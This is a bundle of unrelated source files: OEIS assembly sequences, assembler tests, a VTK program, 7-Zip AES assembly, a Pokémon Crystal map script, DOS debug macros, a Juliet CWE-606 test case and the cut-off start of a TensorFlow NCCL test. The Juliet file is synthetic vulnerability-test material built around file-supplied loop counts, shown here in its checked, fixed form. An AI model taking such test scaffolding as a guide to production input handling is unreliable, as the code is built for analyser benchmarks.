00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
|
; A329506: Expansion of (1 + x)*(1 + 2*x + 2*x^2 - 2*x^3) / (1 - x).
; 1,4,8,8,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6
mov $1,5
mov $2,$0
add $2,$0
lpb $2,1
mov $1,$0
add $1,5
trn $1,$2
mov $0,$1
sub $2,1
lpe
sub $1,4
|
SECTION "fixed org", SRAM[$BEAD]
ds 42
static_assert @ == $BED7
align 5,$17
; Should land at $0001
SECTION "align", ROM0,ALIGN[1,1]
db 69
align 1 ; This wants to go at $0000, $0002, $0004...
; Should land at $0003
SECTION "under-aligned", ROM0,ALIGN[1,1]
dw $BEEF
align 2,1 ; This wants to go at $0001, $0005, $0009...
; Should land at $0005
SECTION "forced align", ROM0
dw $DEAD
align 2,3 ; This wants to go at $0003, $0007, $000B...
|
// Author: Mingcheng Chen (linyufly@gmail.com)
#include <vtkStructuredPoints.h>
#include <vtkSmartPointer.h>
#include <vtkStructuredPointsReader.h>
#include <vtkGradientFilter.h>
#include <vtkIndent.h>
#include <vtkPointData.h>
#include <vtkDataArray.h>
#include <cstdio>
#include <iostream>
const char *kDataFile = "data/gyre_half.vtk";
const int kNumberOfSamples = 10;
vtkStructuredPoints *read_grid() {
vtkSmartPointer<vtkStructuredPointsReader> reader =
vtkSmartPointer<vtkStructuredPointsReader>::New();
reader->SetFileName(kDataFile);
reader->Update();
vtkStructuredPoints *grid = vtkStructuredPoints::New();
grid->ShallowCopy(reader->GetOutput());
return grid;
}
void check_grid(vtkStructuredPoints *grid) {
double origin[3], spacing[3];
int dimensions[3];
grid->GetOrigin(origin);
grid->GetSpacing(spacing);
grid->GetDimensions(dimensions);
printf("origin: %lf, %lf, %lf\n", origin[0], origin[1], origin[2]);
printf("spacing: %lf, %lf, %lf\n", spacing[0], spacing[1], spacing[2]);
printf("dimensions: %d, %d, %d\n", dimensions[0], dimensions[1], dimensions[2]);
grid->PrintSelf(std::cout, vtkIndent(0));
}
vtkStructuredPoints *get_gradient(vtkStructuredPoints *grid) {
vtkSmartPointer<vtkGradientFilter> grad_filter =
vtkSmartPointer<vtkGradientFilter>::New();
grad_filter->SetInputData(grid);
grad_filter->Update();
vtkStructuredPoints *gradient = vtkStructuredPoints::New();
gradient->ShallowCopy(grad_filter->GetOutput());
gradient->GetPointData()->SetActiveScalars("Gradients");
return gradient;
}
int main() {
vtkStructuredPoints *grid = read_grid();
printf("Check the original grid\n");
check_grid(grid);
printf("\n");
vtkStructuredPoints *gradient = get_gradient(grid);
printf("Active scalar is %s.\n", gradient->GetPointData()->GetScalars()->GetName());
gradient->GetPointData()->GetScalars()->SetName("gradient");
printf("New active scalar is %s.\n", gradient->GetPointData()->GetScalars()->GetName());
printf("Check the gradient grid\n");
check_grid(gradient);
printf("\n");
vtkStructuredPoints *hessian = get_gradient(gradient);
printf("Check the hessian grid\n");
check_grid(hessian);
printf("\n");
double tensor[9];
for (int i = 0; i < kNumberOfSamples; i++) {
hessian->GetPointData()->GetScalars()->GetTuple(i, tensor);
for (int row = 0; row < 3; row++) {
for (int col = 0; col < 3; col++) {
if (col) printf(" ");
printf("%lf", tensor[row * 3 + col]);
}
printf("\n");
}
printf("\n");
}
return 0;
}
|
; A266447: Number of ON (black) cells in the n-th iteration of the "Rule 25" elementary cellular automaton starting with a single ON (black) cell.
; 1,1,2,3,4,6,4,10,4,14,4,18,4,22,4,26,4,30,4,34,4,38,4,42,4,46,4,50,4,54,4,58,4,62,4,66,4,70,4,74,4,78,4,82,4,86,4,90,4,94,4,98,4,102,4,106,4,110,4,114,4,118,4,122,4,126,4,130,4,134,4,138,4,142,4,146,4,150,4,154,4,158,4,162,4,166,4,170,4,174,4,178,4,182,4,186,4,190,4,194,4,198,4,202,4,206,4,210,4,214,4,218,4,222,4,226,4,230,4,234,4,238,4,242,4,246,4,250,4,254,4,258,4,262,4,266,4,270,4,274,4,278,4,282,4,286,4,290,4,294,4,298,4,302,4,306,4,310,4,314,4,318,4,322,4,326,4,330,4,334,4,338,4,342,4,346,4,350,4,354,4,358,4,362,4,366,4,370,4,374,4,378,4,382,4,386,4,390,4,394,4,398,4,402,4,406,4,410,4,414,4,418,4,422,4,426,4,430,4,434,4,438,4,442,4,446,4,450,4,454,4,458,4,462,4,466,4,470,4,474,4,478,4,482,4,486,4,490,4,494
mov $1,$0
cal $0,266449 ; Number of OFF (white) cells in the n-th iteration of the "Rule 25" elementary cellular automaton starting with a single ON (black) cell.
mul $1,2
sub $1,$0
add $1,1
|
; AesOpt.asm -- AES optimized code for x86 AES hardware instructions
; 2021-12-25 : Igor Pavlov : Public domain
include 7zAsm.asm
ifdef __ASMC__
use_vaes_256 equ 1
else
ifdef ymm0
use_vaes_256 equ 1
endif
endif
ifdef use_vaes_256
ECHO "++ VAES 256"
else
ECHO "-- NO VAES 256"
endif
ifdef x64
ECHO "x86-64"
else
ECHO "x86"
if (IS_CDECL gt 0)
ECHO "ABI : CDECL"
else
ECHO "ABI : no CDECL : FASTCALL"
endif
endif
if (IS_LINUX gt 0)
ECHO "ABI : LINUX"
else
ECHO "ABI : WINDOWS"
endif
MY_ASM_START
ifndef x64
.686
.xmm
endif
; MY_ALIGN EQU ALIGN(64)
MY_ALIGN EQU
SEG_ALIGN EQU MY_ALIGN
MY_SEG_PROC macro name:req, numParams:req
; seg_name equ @CatStr(_TEXT$, name)
; seg_name SEGMENT SEG_ALIGN 'CODE'
MY_PROC name, numParams
endm
MY_SEG_ENDP macro
; seg_name ENDS
endm
NUM_AES_KEYS_MAX equ 15
; the number of push operators in function PROLOG
if (IS_LINUX eq 0) or (IS_X64 eq 0)
num_regs_push equ 2
stack_param_offset equ (REG_SIZE * (1 + num_regs_push))
endif
ifdef x64
num_param equ REG_ABI_PARAM_2
else
if (IS_CDECL gt 0)
; size_t size
; void * data
; UInt32 * aes
; ret-ip <- (r4)
aes_OFFS equ (stack_param_offset)
data_OFFS equ (REG_SIZE + aes_OFFS)
size_OFFS equ (REG_SIZE + data_OFFS)
num_param equ [r4 + size_OFFS]
else
num_param equ [r4 + stack_param_offset]
endif
endif
keys equ REG_PARAM_0 ; r1
rD equ REG_PARAM_1 ; r2
rN equ r0
koffs_x equ x7
koffs_r equ r7
ksize_x equ x6
ksize_r equ r6
keys2 equ r3
state equ xmm0
key equ xmm0
key_ymm equ ymm0
key_ymm_n equ 0
ifdef x64
ways = 11
else
ways = 4
endif
ways_start_reg equ 1
iv equ @CatStr(xmm, %(ways_start_reg + ways))
iv_ymm equ @CatStr(ymm, %(ways_start_reg + ways))
WOP macro op, op2
i = 0
rept ways
op @CatStr(xmm, %(ways_start_reg + i)), op2
i = i + 1
endm
endm
ifndef ABI_LINUX
ifdef x64
; we use 32 bytes of home space in stack in WIN64-x64
NUM_HOME_MM_REGS equ (32 / 16)
; we preserve xmm registers starting from xmm6 in WIN64-x64
MM_START_SAVE_REG equ 6
SAVE_XMM macro num_used_mm_regs:req
num_save_mm_regs = num_used_mm_regs - MM_START_SAVE_REG
if num_save_mm_regs GT 0
num_save_mm_regs2 = num_save_mm_regs - NUM_HOME_MM_REGS
; RSP is (16*x + 8) after entering the function in WIN64-x64
stack_offset = 16 * num_save_mm_regs2 + (stack_param_offset mod 16)
i = 0
rept num_save_mm_regs
if i eq NUM_HOME_MM_REGS
sub r4, stack_offset
endif
if i lt NUM_HOME_MM_REGS
movdqa [r4 + stack_param_offset + i * 16], @CatStr(xmm, %(MM_START_SAVE_REG + i))
else
movdqa [r4 + (i - NUM_HOME_MM_REGS) * 16], @CatStr(xmm, %(MM_START_SAVE_REG + i))
endif
i = i + 1
endm
endif
endm
RESTORE_XMM macro num_used_mm_regs:req
if num_save_mm_regs GT 0
i = 0
if num_save_mm_regs2 GT 0
rept num_save_mm_regs2
movdqa @CatStr(xmm, %(MM_START_SAVE_REG + NUM_HOME_MM_REGS + i)), [r4 + i * 16]
i = i + 1
endm
add r4, stack_offset
endif
num_low_regs = num_save_mm_regs - i
i = 0
rept num_low_regs
movdqa @CatStr(xmm, %(MM_START_SAVE_REG + i)), [r4 + stack_param_offset + i * 16]
i = i + 1
endm
endif
endm
endif ; x64
endif ; ABI_LINUX
MY_PROLOG macro num_used_mm_regs:req
; num_regs_push: must be equal to the number of push operators
; push r3
; push r5
if (IS_LINUX eq 0) or (IS_X64 eq 0)
push r6
push r7
endif
mov rN, num_param ; don't move it; num_param can use stack pointer (r4)
if (IS_X64 eq 0)
if (IS_CDECL gt 0)
mov rD, [r4 + data_OFFS]
mov keys, [r4 + aes_OFFS]
endif
elseif (IS_LINUX gt 0)
MY_ABI_LINUX_TO_WIN_2
endif
ifndef ABI_LINUX
ifdef x64
SAVE_XMM num_used_mm_regs
endif
endif
mov ksize_x, [keys + 16]
shl ksize_x, 5
endm
MY_EPILOG macro
ifndef ABI_LINUX
ifdef x64
RESTORE_XMM num_save_mm_regs
endif
endif
if (IS_LINUX eq 0) or (IS_X64 eq 0)
pop r7
pop r6
endif
; pop r5
; pop r3
MY_ENDP
endm
OP_KEY macro op:req, offs:req
op state, [keys + offs]
endm
WOP_KEY macro op:req, offs:req
movdqa key, [keys + offs]
WOP op, key
endm
; ---------- AES-CBC Decode ----------
XOR_WITH_DATA macro reg, _ppp_
pxor reg, [rD + i * 16]
endm
WRITE_TO_DATA macro reg, _ppp_
movdqa [rD + i * 16], reg
endm
; state0 equ @CatStr(xmm, %(ways_start_reg))
key0 equ @CatStr(xmm, %(ways_start_reg + ways + 1))
key0_ymm equ @CatStr(ymm, %(ways_start_reg + ways + 1))
key_last equ @CatStr(xmm, %(ways_start_reg + ways + 2))
key_last_ymm equ @CatStr(ymm, %(ways_start_reg + ways + 2))
key_last_ymm_n equ (ways_start_reg + ways + 2)
NUM_CBC_REGS equ (ways_start_reg + ways + 3)
MY_SEG_PROC AesCbc_Decode_HW, 3
AesCbc_Decode_HW_start::
MY_PROLOG NUM_CBC_REGS
AesCbc_Decode_HW_start_2::
movdqa iv, [keys]
add keys, 32
movdqa key0, [keys + 1 * ksize_r]
movdqa key_last, [keys]
sub ksize_x, 16
jmp check2
align 16
nextBlocks2:
WOP movdqa, [rD + i * 16]
mov koffs_x, ksize_x
; WOP_KEY pxor, ksize_r + 16
WOP pxor, key0
; align 16
@@:
WOP_KEY aesdec, 1 * koffs_r
sub koffs_r, 16
jnz @B
; WOP_KEY aesdeclast, 0
WOP aesdeclast, key_last
pxor @CatStr(xmm, %(ways_start_reg)), iv
i = 1
rept ways - 1
pxor @CatStr(xmm, %(ways_start_reg + i)), [rD + i * 16 - 16]
i = i + 1
endm
movdqa iv, [rD + ways * 16 - 16]
WOP WRITE_TO_DATA
add rD, ways * 16
AesCbc_Decode_HW_start_3::
check2:
sub rN, ways
jnc nextBlocks2
add rN, ways
sub ksize_x, 16
jmp check
nextBlock:
movdqa state, [rD]
mov koffs_x, ksize_x
; OP_KEY pxor, 1 * ksize_r + 32
pxor state, key0
; movdqa state0, [rD]
; movdqa state, key0
; pxor state, state0
@@:
OP_KEY aesdec, 1 * koffs_r + 16
OP_KEY aesdec, 1 * koffs_r
sub koffs_r, 32
jnz @B
OP_KEY aesdec, 16
; OP_KEY aesdeclast, 0
aesdeclast state, key_last
pxor state, iv
movdqa iv, [rD]
; movdqa iv, state0
movdqa [rD], state
add rD, 16
check:
sub rN, 1
jnc nextBlock
movdqa [keys - 32], iv
MY_EPILOG
; ---------- AVX ----------
AVX__WOP_n macro op
i = 0
rept ways
op (ways_start_reg + i)
i = i + 1
endm
endm
AVX__WOP macro op
i = 0
rept ways
op @CatStr(ymm, %(ways_start_reg + i))
i = i + 1
endm
endm
AVX__WOP_KEY macro op:req, offs:req
vmovdqa key_ymm, ymmword ptr [keys2 + offs]
AVX__WOP_n op
endm
AVX__CBC_START macro reg
; vpxor reg, key_ymm, ymmword ptr [rD + 32 * i]
vpxor reg, key0_ymm, ymmword ptr [rD + 32 * i]
endm
AVX__CBC_END macro reg
if i eq 0
vpxor reg, reg, iv_ymm
else
vpxor reg, reg, ymmword ptr [rD + i * 32 - 16]
endif
endm
AVX__WRITE_TO_DATA macro reg
vmovdqu ymmword ptr [rD + 32 * i], reg
endm
AVX__XOR_WITH_DATA macro reg
vpxor reg, reg, ymmword ptr [rD + 32 * i]
endm
AVX__CTR_START macro reg
vpaddq iv_ymm, iv_ymm, one_ymm
; vpxor reg, iv_ymm, key_ymm
vpxor reg, iv_ymm, key0_ymm
endm
MY_VAES_INSTR_2 macro cmd, dest, a1, a2
db 0c4H
db 2 + 040H + 020h * (1 - (a2) / 8) + 080h * (1 - (dest) / 8)
db 5 + 8 * ((not (a1)) and 15)
db cmd
db 0c0H + 8 * ((dest) and 7) + ((a2) and 7)
endm
MY_VAES_INSTR macro cmd, dest, a
MY_VAES_INSTR_2 cmd, dest, dest, a
endm
MY_vaesenc macro dest, a
MY_VAES_INSTR 0dcH, dest, a
endm
MY_vaesenclast macro dest, a
MY_VAES_INSTR 0ddH, dest, a
endm
MY_vaesdec macro dest, a
MY_VAES_INSTR 0deH, dest, a
endm
MY_vaesdeclast macro dest, a
MY_VAES_INSTR 0dfH, dest, a
endm
AVX__VAES_DEC macro reg
MY_vaesdec reg, key_ymm_n
endm
AVX__VAES_DEC_LAST_key_last macro reg
; MY_vaesdeclast reg, key_ymm_n
MY_vaesdeclast reg, key_last_ymm_n
endm
AVX__VAES_ENC macro reg
MY_vaesenc reg, key_ymm_n
endm
AVX__VAES_ENC_LAST macro reg
MY_vaesenclast reg, key_ymm_n
endm
AVX__vinserti128_TO_HIGH macro dest, src
vinserti128 dest, dest, src, 1
endm
MY_PROC AesCbc_Decode_HW_256, 3
ifdef use_vaes_256
MY_PROLOG NUM_CBC_REGS
cmp rN, ways * 2
jb AesCbc_Decode_HW_start_2
vmovdqa iv, xmmword ptr [keys]
add keys, 32
vbroadcasti128 key0_ymm, xmmword ptr [keys + 1 * ksize_r]
vbroadcasti128 key_last_ymm, xmmword ptr [keys]
sub ksize_x, 16
mov koffs_x, ksize_x
add ksize_x, ksize_x
AVX_STACK_SUB = ((NUM_AES_KEYS_MAX + 1 - 2) * 32)
push keys2
sub r4, AVX_STACK_SUB
; sub r4, 32
; sub r4, ksize_r
; lea keys2, [r4 + 32]
mov keys2, r4
and keys2, -32
broad:
vbroadcasti128 key_ymm, xmmword ptr [keys + 1 * koffs_r]
vmovdqa ymmword ptr [keys2 + koffs_r * 2], key_ymm
sub koffs_r, 16
; jnc broad
jnz broad
sub rN, ways * 2
align 16
avx_cbcdec_nextBlock2:
mov koffs_x, ksize_x
; AVX__WOP_KEY AVX__CBC_START, 1 * koffs_r + 32
AVX__WOP AVX__CBC_START
@@:
AVX__WOP_KEY AVX__VAES_DEC, 1 * koffs_r
sub koffs_r, 32
jnz @B
; AVX__WOP_KEY AVX__VAES_DEC_LAST, 0
AVX__WOP_n AVX__VAES_DEC_LAST_key_last
AVX__vinserti128_TO_HIGH iv_ymm, xmmword ptr [rD]
AVX__WOP AVX__CBC_END
vmovdqa iv, xmmword ptr [rD + ways * 32 - 16]
AVX__WOP AVX__WRITE_TO_DATA
add rD, ways * 32
sub rN, ways * 2
jnc avx_cbcdec_nextBlock2
add rN, ways * 2
shr ksize_x, 1
; lea r4, [r4 + 1 * ksize_r + 32]
add r4, AVX_STACK_SUB
pop keys2
vzeroupper
jmp AesCbc_Decode_HW_start_3
else
jmp AesCbc_Decode_HW_start
endif
MY_ENDP
MY_SEG_ENDP
; ---------- AES-CBC Encode ----------
e0 equ xmm1
CENC_START_KEY equ 2
CENC_NUM_REG_KEYS equ (3 * 2)
; last_key equ @CatStr(xmm, %(CENC_START_KEY + CENC_NUM_REG_KEYS))
MY_SEG_PROC AesCbc_Encode_HW, 3
MY_PROLOG (CENC_START_KEY + CENC_NUM_REG_KEYS + 0)
movdqa state, [keys]
add keys, 32
i = 0
rept CENC_NUM_REG_KEYS
movdqa @CatStr(xmm, %(CENC_START_KEY + i)), [keys + i * 16]
i = i + 1
endm
add keys, ksize_r
neg ksize_r
add ksize_r, (16 * CENC_NUM_REG_KEYS)
; movdqa last_key, [keys]
jmp check_e
align 16
nextBlock_e:
movdqa e0, [rD]
mov koffs_r, ksize_r
pxor e0, @CatStr(xmm, %(CENC_START_KEY))
pxor state, e0
i = 1
rept (CENC_NUM_REG_KEYS - 1)
aesenc state, @CatStr(xmm, %(CENC_START_KEY + i))
i = i + 1
endm
@@:
OP_KEY aesenc, 1 * koffs_r
OP_KEY aesenc, 1 * koffs_r + 16
add koffs_r, 32
jnz @B
OP_KEY aesenclast, 0
; aesenclast state, last_key
movdqa [rD], state
add rD, 16
check_e:
sub rN, 1
jnc nextBlock_e
; movdqa [keys - 32], state
movdqa [keys + 1 * ksize_r - (16 * CENC_NUM_REG_KEYS) - 32], state
MY_EPILOG
MY_SEG_ENDP
; ---------- AES-CTR ----------
ifdef x64
; ways = 11
endif
one equ @CatStr(xmm, %(ways_start_reg + ways + 1))
one_ymm equ @CatStr(ymm, %(ways_start_reg + ways + 1))
key0 equ @CatStr(xmm, %(ways_start_reg + ways + 2))
key0_ymm equ @CatStr(ymm, %(ways_start_reg + ways + 2))
NUM_CTR_REGS equ (ways_start_reg + ways + 3)
INIT_CTR macro reg, _ppp_
paddq iv, one
movdqa reg, iv
endm
MY_SEG_PROC AesCtr_Code_HW, 3
Ctr_start::
MY_PROLOG NUM_CTR_REGS
Ctr_start_2::
movdqa iv, [keys]
add keys, 32
movdqa key0, [keys]
add keys, ksize_r
neg ksize_r
add ksize_r, 16
Ctr_start_3::
mov koffs_x, 1
movd one, koffs_x
jmp check2_c
align 16
nextBlocks2_c:
WOP INIT_CTR, 0
mov koffs_r, ksize_r
; WOP_KEY pxor, 1 * koffs_r -16
WOP pxor, key0
@@:
WOP_KEY aesenc, 1 * koffs_r
add koffs_r, 16
jnz @B
WOP_KEY aesenclast, 0
WOP XOR_WITH_DATA
WOP WRITE_TO_DATA
add rD, ways * 16
check2_c:
sub rN, ways
jnc nextBlocks2_c
add rN, ways
sub keys, 16
add ksize_r, 16
jmp check_c
; align 16
nextBlock_c:
paddq iv, one
; movdqa state, [keys + 1 * koffs_r - 16]
movdqa state, key0
mov koffs_r, ksize_r
pxor state, iv
@@:
OP_KEY aesenc, 1 * koffs_r
OP_KEY aesenc, 1 * koffs_r + 16
add koffs_r, 32
jnz @B
OP_KEY aesenc, 0
OP_KEY aesenclast, 16
pxor state, [rD]
movdqa [rD], state
add rD, 16
check_c:
sub rN, 1
jnc nextBlock_c
; movdqa [keys - 32], iv
movdqa [keys + 1 * ksize_r - 16 - 32], iv
MY_EPILOG
MY_PROC AesCtr_Code_HW_256, 3
ifdef use_vaes_256
MY_PROLOG NUM_CTR_REGS
cmp rN, ways * 2
jb Ctr_start_2
vbroadcasti128 iv_ymm, xmmword ptr [keys]
add keys, 32
vbroadcasti128 key0_ymm, xmmword ptr [keys]
mov koffs_x, 1
vmovd one, koffs_x
vpsubq iv_ymm, iv_ymm, one_ymm
vpaddq one, one, one
AVX__vinserti128_TO_HIGH one_ymm, one
add keys, ksize_r
sub ksize_x, 16
neg ksize_r
mov koffs_r, ksize_r
add ksize_r, ksize_r
AVX_STACK_SUB = ((NUM_AES_KEYS_MAX + 1 - 1) * 32)
push keys2
lea keys2, [r4 - 32]
sub r4, AVX_STACK_SUB
and keys2, -32
vbroadcasti128 key_ymm, xmmword ptr [keys]
vmovdqa ymmword ptr [keys2], key_ymm
@@:
vbroadcasti128 key_ymm, xmmword ptr [keys + 1 * koffs_r]
vmovdqa ymmword ptr [keys2 + koffs_r * 2], key_ymm
add koffs_r, 16
jnz @B
sub rN, ways * 2
align 16
avx_ctr_nextBlock2:
mov koffs_r, ksize_r
AVX__WOP AVX__CTR_START
; AVX__WOP_KEY AVX__CTR_START, 1 * koffs_r - 32
@@:
AVX__WOP_KEY AVX__VAES_ENC, 1 * koffs_r
add koffs_r, 32
jnz @B
AVX__WOP_KEY AVX__VAES_ENC_LAST, 0
AVX__WOP AVX__XOR_WITH_DATA
AVX__WOP AVX__WRITE_TO_DATA
add rD, ways * 32
sub rN, ways * 2
jnc avx_ctr_nextBlock2
add rN, ways * 2
vextracti128 iv, iv_ymm, 1
sar ksize_r, 1
add r4, AVX_STACK_SUB
pop keys2
vzeroupper
jmp Ctr_start_3
else
jmp Ctr_start
endif
MY_ENDP
MY_SEG_ENDP
end
|
object_const_def ; object_event constants
const ILEXFORESTAZALEAGATE_OFFICER
const ILEXFORESTAZALEAGATE_GRANNY
IlexForestAzaleaGate_MapScripts:
db 0 ; scene scripts
db 0 ; callbacks
IlexForestAzaleaGateOfficerScript:
jumptextfaceplayer IlexForestAzaleaGateOfficerText
IlexForestAzaleaGateGrannyScript:
jumptextfaceplayer IlexForestAzaleaGateGrannyText
IlexForestAzaleaGateOfficerText:
text "ILEX FOREST is"
line "big. Be careful!"
cont "Don't get lost."
done
IlexForestAzaleaGateGrannyText:
text "The FOREST is"
line "watched over by"
cont "its protector."
para "Stay out of"
line "mischief!"
done
IlexForestAzaleaGate_MapEvents:
db 0, 0 ; filler
db 4 ; warp events
warp_event 0, 4, ILEX_FOREST, 2
warp_event 0, 5, ILEX_FOREST, 3
warp_event 9, 4, AZALEA_TOWN, 7
warp_event 9, 5, AZALEA_TOWN, 8
db 0 ; coord events
db 0 ; bg events
db 2 ; object events
object_event 5, 2, SPRITE_OFFICER, SPRITEMOVEDATA_STANDING_DOWN, 0, 0, -1, -1, PAL_NPC_RED, OBJECTTYPE_SCRIPT, 0, IlexForestAzaleaGateOfficerScript, -1
object_event 1, 3, SPRITE_GRANNY, SPRITEMOVEDATA_STANDING_DOWN, 0, 0, -1, -1, PAL_NPC_BROWN, OBJECTTYPE_SCRIPT, 0, IlexForestAzaleaGateGrannyScript, -1
|
%ifndef DEBUG
%macro INT_Debug 1
%endmacro
%else
%macro INT_Debug 1
push ax
push ds
mov ax, Data_Segment
mov ds, ax
call IPC_KbdPeek
jz %%1
cmp al, 46h
jnz %%1
call IPC_KbdClear
mov al, [Data_Debug]
xor al, 01h
mov [Data_Debug], al
%%1:
test [Data_Debug], byte 1
pop ds
pop ax
; jz %%2
push bp
mov bp, %1
call Debug_All
pop bp
%%2:
%endmacro
%macro Debug_Reg 2
push ax
push %2
mov al, ','
call Debug_Char
mov al, ' '
call Debug_Char
mov ax, %1
call Debug_Char
mov al, ah
call Debug_Char
mov al, '='
call Debug_Char
pop ax
call Debug_Word
pop ax
%endmacro
; --------------------------------------------------------------------------------------
; Output registers to debug device.
; --------------------------------------------------------------------------------------
Debug_All:
push ax
push ax
mov al, 'I'
call Debug_Char
mov al, 'N'
call Debug_Char
mov al, 'T'
call Debug_Char
mov al, ' '
call Debug_Char
mov ax, bp
call Debug_Byte
pop ax
Debug_Reg "AX", ax
Debug_Reg "BX", bx
Debug_Reg "CX", cx
Debug_Reg "DX", dx
Debug_Reg "DS", ds
Debug_Reg "ES", es
Debug_Reg "SI", si
Debug_Reg "DI", di
mov al, 13
call Debug_Char
pop ax
ret
; --------------------------------------------------------------------------------------
; Output hexadecimal word to debug device.
; Input:
; AX - word
; --------------------------------------------------------------------------------------
Debug_Word:
push ax
mov al, ah
call Debug_Byte
pop ax
call Debug_Byte
ret
; --------------------------------------------------------------------------------------
; Output hexadecimal byte to debug device.
; Input:
; AL - byte
; --------------------------------------------------------------------------------------
Debug_Byte:
push ax
pop ax
push ax
shr al, 1
shr al, 1
shr al, 1
shr al, 1
call Debug_Hex
pop ax
and al, 0Fh
call Debug_Hex
ret
; --------------------------------------------------------------------------------------
; Output hexadecimal digit to debug device.
; Input:
; AL - digit (0-F)
; --------------------------------------------------------------------------------------
Debug_Hex:
add al, 30h
cmp al, 39h
jbe Debug_Hex1
add al, 7
Debug_Hex1:
; --------------------------------------------------------------------------------------
; Output ASCII character to debug device.
; Input:
; AL - character code
; --------------------------------------------------------------------------------------
Debug_Char:
call IPC_SerialOut
ret
; --------------------------------------------------------------------------------------
; Processor single step routine.
; --------------------------------------------------------------------------------------
INT_01:
push bp
mov bp, sp
push ax
mov ax, [ss:bp+4]
call Debug_Word
mov al, ':'
call Debug_Char
mov ax, [ss:bp+2]
call Debug_Word
; mov al, 10
; call Debug_Char
mov al, 13
call Debug_Char
pop ax
or word [ss:bp+6], 0100h
pop bp
iret
%endif
|
/* TEMPLATE GENERATED TESTCASE FILE
Filename: CWE606_Unchecked_Loop_Condition__char_file_84_goodB2G.cpp
Label Definition File: CWE606_Unchecked_Loop_Condition.label.xml
Template File: sources-sinks-84_goodB2G.tmpl.cpp
*/
/*
* @description
* CWE: 606 Unchecked Input For Loop Condition
* BadSource: file Read input from a file
* GoodSource: Input a number less than MAX_LOOP
* Sinks:
* GoodSink: Use data as the for loop variant after checking to see if it is less than MAX_LOOP
* BadSink : Use data as the for loop variant without checking its size
* Flow Variant: 84 Data flow: data passed to class constructor and destructor by declaring the class object on the heap and deleting it after use
*
* */
#ifndef OMITGOOD
#include "std_testcase.h"
#include "CWE606_Unchecked_Loop_Condition__char_file_84.h"
#ifdef _WIN32
#define FILENAME "C:\\temp\\file.txt"
#else
#define FILENAME "/tmp/file.txt"
#endif
namespace CWE606_Unchecked_Loop_Condition__char_file_84
{
CWE606_Unchecked_Loop_Condition__char_file_84_goodB2G::CWE606_Unchecked_Loop_Condition__char_file_84_goodB2G(char * dataCopy)
{
data = dataCopy;
{
/* Read input from a file */
size_t dataLen = strlen(data);
FILE * pFile;
/* if there is room in data, attempt to read the input from a file */
if (100-dataLen > 1)
{
pFile = fopen(FILENAME, "r");
if (pFile != NULL)
{
/* POTENTIAL FLAW: Read data from a file */
if (fgets(data+dataLen, (int)(100-dataLen), pFile) == NULL)
{
printLine("fgets() failed");
/* Restore NUL terminator if fgets fails */
data[dataLen] = '\0';
}
fclose(pFile);
}
}
}
}
CWE606_Unchecked_Loop_Condition__char_file_84_goodB2G::~CWE606_Unchecked_Loop_Condition__char_file_84_goodB2G()
{
{
int i, n, intVariable;
if (sscanf(data, "%d", &n) == 1)
{
/* FIX: limit loop iteration counts */
if (n < MAX_LOOP)
{
intVariable = 0;
for (i = 0; i < n; i++)
{
/* INCIDENTAL: CWE 561: Dead Code - non-avoidable if n <= 0 */
intVariable++; /* avoid a dead/empty code block issue */
}
printIntLine(intVariable);
}
}
}
}
}
#endif /* OMITGOOD */
|
/* Copyright 2016 The TensorFlow Authors. All Rights Reserved.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
==============================================================================*/
#include "absl/strings/str_cat.h"
#include "absl/strings/str_format.h"
#if GOOGLE_CUDA || TENSORFLOW_USE_ROCM
#include "tensorflow/core/nccl/nccl_manager.h"
#include <algorithm>
#include <random>
#include <vector>
#include "tensorflow/core/common_runtime/device_factory.h"
#include "tensorflow/core/common_runtime/gpu/gpu_device.h"
#include "tensorflow/core/framework/tensor_testutil.h"
#include "tensorflow/core/lib/core/status_test_util.h"
#include "tensorflow/core/platform/test.h"
#include "tensorflow/core/platform/unbounded_work_queue.h"
namespace tensorflow {
static std::vector<std::unique_ptr<BaseGPUDevice>> GetGPUDevices() {
std::vector<std::unique_ptr<Device>> devices;
